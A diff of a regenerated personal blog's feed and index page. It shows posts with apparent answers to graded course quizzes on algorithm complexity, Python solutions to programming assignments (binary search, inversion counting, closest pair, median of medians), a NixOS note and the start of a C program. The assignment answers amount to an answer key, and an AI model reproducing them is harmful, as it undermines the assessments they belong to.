vertex to mark as processed, which vertex will be chosen?</p></description></item><item><title>for seshu baby mwa mwa</title><link>https://lavafroth.is-a.dev/ilrlmvakdlx9uwodtocdbg/</link><pubDate>Fri, 03 Oct 2025 16:04:18 +0530</pubDate><guid>https://lavafroth.is-a.dev/ilrlmvakdlx9uwodtocdbg/</guid><description><blockquote>
|
||||
<p>Update: I have added the GA 2 sols as well. Please take them with a grain of salt obviously
|
||||
I am also fallible to mistakes.</p>
|
||||
</blockquote>
|
||||
<h1 id="aq21">AQ2.1</h1>
|
||||
<ol>
|
||||
<li><span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mn>2</mn></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> O(n^2) </annotation></semantics></math></span></li>
|
||||
<li><span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><mtext> </mtext><mi>l</mi><mi>o</mi><mi>g</mi><mtext> </mtext><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> O(n\ log\ n) </annotation></semantics></math></span></li>
|
||||
<li><span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mn>3</mn></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> O(n^3) </annotation></semantics></math></span></li>
|
||||
<li><span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><mo>+</mo><mi>l</mi><mi>o</mi><mi>g</mi><mtext> </mtext><mi>m</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> O(n + log\ m) </annotation></semantics></math></span></li>
|
||||
<li><span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>l</mi><mi>o</mi><mi>g</mi><mtext> </mtext><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> O(log\ n) </annotation></semantics></math></span></li>
|
||||
<li><span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mn>2</mn></msup><mtext> </mtext><mi>l</mi><mi>o</mi><mi>g</mi><mtext> </mtext><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> O(n^2\ log\ n) </annotation></semantics></math></span></li>
|
||||
</ol>
|
||||
<h1 id="aq22">AQ2.2</h1>
|
||||
<ol>
|
||||
<li><span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>l</mi><mi>o</mi><mi>g</mi><mtext> </mtext><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> O(log\ n) </annotation></semantics></math></span></li>
|
||||
<li>5</li>
|
||||
<li>3</li>
|
||||
<li>3</li>
|
||||
<li>2</li>
|
||||
<li>Multiple options:
|
||||
<ul>
|
||||
<li>It works only on sorted arrays.</li>
|
||||
<li>It has a best-case time complexity of O(1).</li>
|
||||
</ul>
|
||||
</li>
|
||||
</ol>
|
||||
<h1 id="aq23">AQ2.3</h1>
|
||||
<blockquote>
|
||||
<p>Selection sort always makes n(n-1)/2 comparisons which is of order <span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mn>2</mn></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> O(n^2) </annotation></semantics></math></span></p></description></item><item><title>w8</title><link>https://lavafroth.is-a.dev/divmqbyvl9y/</link><pubDate>Fri, 03 Oct 2025 16:04:18 +0530</pubDate><guid>https://lavafroth.is-a.dev/divmqbyvl9y/</guid><description><h2 id="grpa-1">GRPA 1</h2>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">findOccOf</span>(arr, x):
|
||||
</span></span><span style="display:flex;"><span> lo <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
|
||||
</span></span><span style="display:flex;"><span> hi <span style="color:#f92672">=</span> len(arr) <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> loval <span style="color:#f92672">=</span> <span style="color:#66d9ef">None</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> lo <span style="color:#f92672">&lt;=</span> hi:
|
||||
</span></span><span style="display:flex;"><span> mid <span style="color:#f92672">=</span> (lo <span style="color:#f92672">+</span> hi) <span style="color:#f92672">//</span> <span style="color:#ae81ff">2</span>
|
||||
</span></span><span style="display:flex;"><span> c <span style="color:#f92672">=</span> arr[mid]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> x <span style="color:#f92672">&lt;</span> c:
|
||||
</span></span><span style="display:flex;"><span> hi <span style="color:#f92672">=</span> mid <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">elif</span> x <span style="color:#f92672">&gt;</span> c:
|
||||
</span></span><span style="display:flex;"><span> lo <span style="color:#f92672">=</span> mid <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">elif</span> x <span style="color:#f92672">==</span> c:
|
||||
</span></span><span style="display:flex;"><span> loval <span style="color:#f92672">=</span> loval <span style="color:#f92672">or</span> mid
|
||||
</span></span><span style="display:flex;"><span> loval <span style="color:#f92672">=</span> min(loval, mid)
|
||||
</span></span><span style="display:flex;"><span> hi <span style="color:#f92672">=</span> mid <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> lo <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
|
||||
</span></span><span style="display:flex;"><span> hi <span style="color:#f92672">=</span> len(arr) <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>
|
||||
</span></span><span style="display:flex;"><span> hival <span style="color:#f92672">=</span> <span style="color:#66d9ef">None</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> lo <span style="color:#f92672">&lt;=</span> hi:
|
||||
</span></span><span style="display:flex;"><span> mid <span style="color:#f92672">=</span> (lo <span style="color:#f92672">+</span> hi) <span style="color:#f92672">//</span> <span style="color:#ae81ff">2</span>
|
||||
</span></span><span style="display:flex;"><span> c <span style="color:#f92672">=</span> arr[mid]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> x <span style="color:#f92672">&lt;</span> c:
|
||||
</span></span><span style="display:flex;"><span> hi <span style="color:#f92672">=</span> mid <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">elif</span> x <span style="color:#f92672">&gt;</span> c:
|
||||
</span></span><span style="display:flex;"><span> lo <span style="color:#f92672">=</span> mid <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">elif</span> x <span style="color:#f92672">==</span> c:
|
||||
</span></span><span style="display:flex;"><span> hival <span style="color:#f92672">=</span> hival <span style="color:#f92672">or</span> mid
|
||||
</span></span><span style="display:flex;"><span> hival <span style="color:#f92672">=</span> max(hival, mid)
|
||||
</span></span><span style="display:flex;"><span> lo <span style="color:#f92672">=</span> mid <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> loval, hival
|
||||
</span></span></code></pre></div><h2 id="grpa-2">GRPA 2</h2>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">merge_inversion</span>(left, right):
|
||||
</span></span><span style="display:flex;"><span> merged <span style="color:#f92672">=</span> []
|
||||
</span></span><span style="display:flex;"><span> count <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> i, j <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> m <span style="color:#f92672">=</span> len(left)
|
||||
</span></span><span style="display:flex;"><span> n <span style="color:#f92672">=</span> len(right)
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> i <span style="color:#f92672">+</span> j <span style="color:#f92672">&lt;</span> m <span style="color:#f92672">+</span> n:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> j <span style="color:#f92672">==</span> n <span style="color:#f92672">or</span> (i <span style="color:#f92672">!=</span> m <span style="color:#f92672">and</span> left[i] <span style="color:#f92672">&lt;</span> right[j]):
|
||||
</span></span><span style="display:flex;"><span> merged<span style="color:#f92672">.</span>append(left[i])
|
||||
</span></span><span style="display:flex;"><span> i <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">continue</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> merged<span style="color:#f92672">.</span>append(right[j])
|
||||
</span></span><span style="display:flex;"><span> j <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span>
|
||||
</span></span><span style="display:flex;"><span> count <span style="color:#f92672">+=</span> m <span style="color:#f92672">-</span> i
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> merged, count
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">sort_and_count</span>(arr):
|
||||
</span></span><span style="display:flex;"><span> n <span style="color:#f92672">=</span> len(arr)
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> n <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span>:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> arr, <span style="color:#ae81ff">0</span>
|
||||
</span></span><span style="display:flex;"><span> left <span style="color:#f92672">=</span> arr[: n <span style="color:#f92672">//</span> <span style="color:#ae81ff">2</span>]
|
||||
</span></span><span style="display:flex;"><span> right <span style="color:#f92672">=</span> arr[n <span style="color:#f92672">//</span> <span style="color:#ae81ff">2</span> :]
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> left, count_left <span style="color:#f92672">=</span> sort_and_count(left)
|
||||
</span></span><span style="display:flex;"><span> right, count_right <span style="color:#f92672">=</span> sort_and_count(right)
|
||||
</span></span><span style="display:flex;"><span> merged, count_both <span style="color:#f92672">=</span> merge_inversion(left, right)
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> (merged, count_left <span style="color:#f92672">+</span> count_right <span style="color:#f92672">+</span> count_both)
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">countIntersection</span>(a, b):
|
||||
</span></span><span style="display:flex;"><span> tuples <span style="color:#f92672">=</span> sorted(zip(a, b))
|
||||
</span></span><span style="display:flex;"><span> b <span style="color:#f92672">=</span> [t[<span style="color:#ae81ff">1</span>] <span style="color:#66d9ef">for</span> t <span style="color:#f92672">in</span> tuples]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> sort_and_count(b)[<span style="color:#ae81ff">1</span>]
|
||||
</span></span></code></pre></div><h2 id="grpa-3">GRPA 3</h2>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>dist <span style="color:#f92672">=</span> <span style="color:#66d9ef">lambda</span> a, b: ((a[<span style="color:#ae81ff">0</span>]<span style="color:#f92672">-</span>b[<span style="color:#ae81ff">0</span>])<span style="color:#f92672">**</span><span style="color:#ae81ff">2</span> <span style="color:#f92672">+</span> (a[<span style="color:#ae81ff">1</span>]<span style="color:#f92672">-</span>b[<span style="color:#ae81ff">1</span>])<span style="color:#f92672">**</span><span style="color:#ae81ff">2</span>)<span style="color:#f92672">**</span><span style="color:#ae81ff">.5</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">closest_pair</span>(Px, Py):
|
||||
</span></span><span style="display:flex;"><span> n <span style="color:#f92672">=</span> len(Px)
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> n <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">3</span>:
|
||||
</span></span><span style="display:flex;"><span> min_d <span style="color:#f92672">=</span> float(<span style="color:#e6db74">&#39;inf&#39;</span>)
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(n):
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> j <span style="color:#f92672">in</span> range(i <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>, n):
|
||||
</span></span><span style="display:flex;"><span> min_d <span style="color:#f92672">=</span> min(min_d, dist(Px[i], Px[j]))
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> min_d
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> mid <span style="color:#f92672">=</span> n <span style="color:#f92672">//</span> <span style="color:#ae81ff">2</span>
|
||||
</span></span><span style="display:flex;"><span> Qx <span style="color:#f92672">=</span> Px[:mid]
|
||||
</span></span><span style="display:flex;"><span> Rx <span style="color:#f92672">=</span> Px[mid:]
|
||||
</span></span><span style="display:flex;"><span> mid_point <span style="color:#f92672">=</span> Qx[<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>][<span style="color:#ae81ff">0</span>]
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> Qy <span style="color:#f92672">=</span> []
|
||||
</span></span><span style="display:flex;"><span> Ry <span style="color:#f92672">=</span> []
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> p <span style="color:#f92672">in</span> Py:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> p[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">&lt;=</span> mid_point:
|
||||
</span></span><span style="display:flex;"><span> Qy<span style="color:#f92672">.</span>append(p)
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>:
|
||||
</span></span><span style="display:flex;"><span> Ry<span style="color:#f92672">.</span>append(p)
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> min_d <span style="color:#f92672">=</span> min(closest_pair(Qx, Qy), closest_pair(Rx, Ry))
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> Sy <span style="color:#f92672">=</span> [p <span style="color:#66d9ef">for</span> p <span style="color:#f92672">in</span> Py <span style="color:#66d9ef">if</span> mid_point <span style="color:#f92672">-</span> min_d <span style="color:#f92672">&lt;=</span> p[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">&lt;=</span> mid_point <span style="color:#f92672">+</span> min_d]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(len(Sy)):
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> j <span style="color:#f92672">in</span> range(i <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>, len(Sy)):
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> Sy[j][<span style="color:#ae81ff">1</span>] <span style="color:#f92672">-</span> Sy[i][<span style="color:#ae81ff">1</span>] <span style="color:#f92672">&gt;=</span> min_d:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>
|
||||
</span></span><span style="display:flex;"><span> min_d <span style="color:#f92672">=</span> min(min_d, dist(Sy[i], Sy[j]))
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> min_d
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">minDistance</span>(points):
|
||||
</span></span><span style="display:flex;"><span> Px <span style="color:#f92672">=</span> sorted(points, key<span style="color:#f92672">=</span><span style="color:#66d9ef">lambda</span> p: p[<span style="color:#ae81ff">0</span>])
|
||||
</span></span><span style="display:flex;"><span> Py <span style="color:#f92672">=</span> sorted(points, key<span style="color:#f92672">=</span><span style="color:#66d9ef">lambda</span> p: p[<span style="color:#ae81ff">1</span>])
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> round(closest_pair(Px, Py), <span style="color:#ae81ff">2</span>)
|
||||
</span></span></code></pre></div><h2 id="grpa-4">GRPA 4</h2>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">mid</span>(a):
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> len(a) <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">7</span>:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> sorted(a)[len(a)<span style="color:#f92672">//</span><span style="color:#ae81ff">2</span>]
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> m <span style="color:#f92672">=</span> []
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">0</span>,len(a), <span style="color:#ae81ff">7</span>):
|
||||
</span></span><span style="display:flex;"><span> m<span style="color:#f92672">.</span>append(mid(a[i:i<span style="color:#f92672">+</span><span style="color:#ae81ff">7</span>]))
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> mid(m)
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">MoM7Pos</span>(arr):
|
||||
</span></span><span style="display:flex;"><span> m <span style="color:#f92672">=</span> mid(arr)
|
||||
</span></span><span style="display:flex;"><span> pos <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> x <span style="color:#f92672">in</span> arr:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> x <span style="color:#f92672">&lt;</span> m:
|
||||
</span></span><span style="display:flex;"><span> pos <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> pos
|
||||
</span></span></code></pre></div></description></item><item><title>NixOS Notes to Self</title><link>https://lavafroth.is-a.dev/post/nixos-notes-to-self/</link><pubDate>Sun, 14 Sep 2025 18:31:52 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/nixos-notes-to-self/</guid><description><p>A dedicated post collecting solutions to minor NixOS headaches.</p>
|
||||
Use the collapse explanation button to copy multiple code blocks in one go.</p></description></item><item><title>NixOS Notes to Self</title><link>https://lavafroth.is-a.dev/post/nixos-notes-to-self/</link><pubDate>Sun, 14 Sep 2025 18:31:52 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/nixos-notes-to-self/</guid><description><p>A dedicated post collecting solutions to minor NixOS headaches.</p>
|
||||
<h2 id="nixos-rebuild-shows-no-network-activity"><code>nixos-rebuild</code> shows no network activity</h2>
|
||||
<p>On rare occasions, a system rebuild will get stuck while downloading a package from a source.
|
||||
No network activity, no timeout, no writes to the nix store.</p>
|
||||
@@ -896,7 +663,7 @@ easy to setup Arch for gaming, thanks to programs like <a href="https://lutri
|
||||
code for the program running on the remote server:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e">
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdlib.h&gt;</span><span style="color:#75715e">
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
|
||||
</span></span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">addIntOvf</span>(<span style="color:#66d9ef">int</span> result, <span style="color:#66d9ef">int</span> a, <span style="color:#66d9ef">int</span> b) {
|
||||
</span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> a <span style="color:#f92672">+</span> b;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(a <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> b <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> result <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>)
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -1,4 +1,10 @@
|
||||
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.152.2"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Wrapping up GSoC 2024" href=https://lavafroth.is-a.dev/post/the-gsoc-grand-finale/><h2>Wrapping up GSoC 2024</h2></a><time>Aug 24, 2024 | 6 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
|
||||
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.154.0"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="NixOS Secureboot Shenanigans" href=https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/><h2>NixOS Secureboot Shenanigans</h2></a><time>Dec 20, 2024 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/nix class=list-tag>Nix</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/nixos class=list-tag>NixOS</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/secureboot class=list-tag>Secureboot</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/sbctl class=list-tag>sbctl</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/lanzaboote class=list-tag>lanzaboote</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/troubleshooting class=list-tag>Troubleshooting</a>
|
||||
<a class=post-link aria-label="NixOS Secureboot Shenanigans" href=https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/></a></article><article><a aria-label="Wrapping up GSoC 2024" href=https://lavafroth.is-a.dev/post/the-gsoc-grand-finale/><h2>Wrapping up GSoC 2024</h2></a><time>Aug 24, 2024 | 6 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
|
||||
@@ -53,11 +59,5 @@
|
||||
<a href=https://lavafroth.is-a.dev/tags/linux class=list-tag>Linux</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/laptops class=list-tag>Laptops</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/kernel-modules class=list-tag>Kernel Modules</a>
|
||||
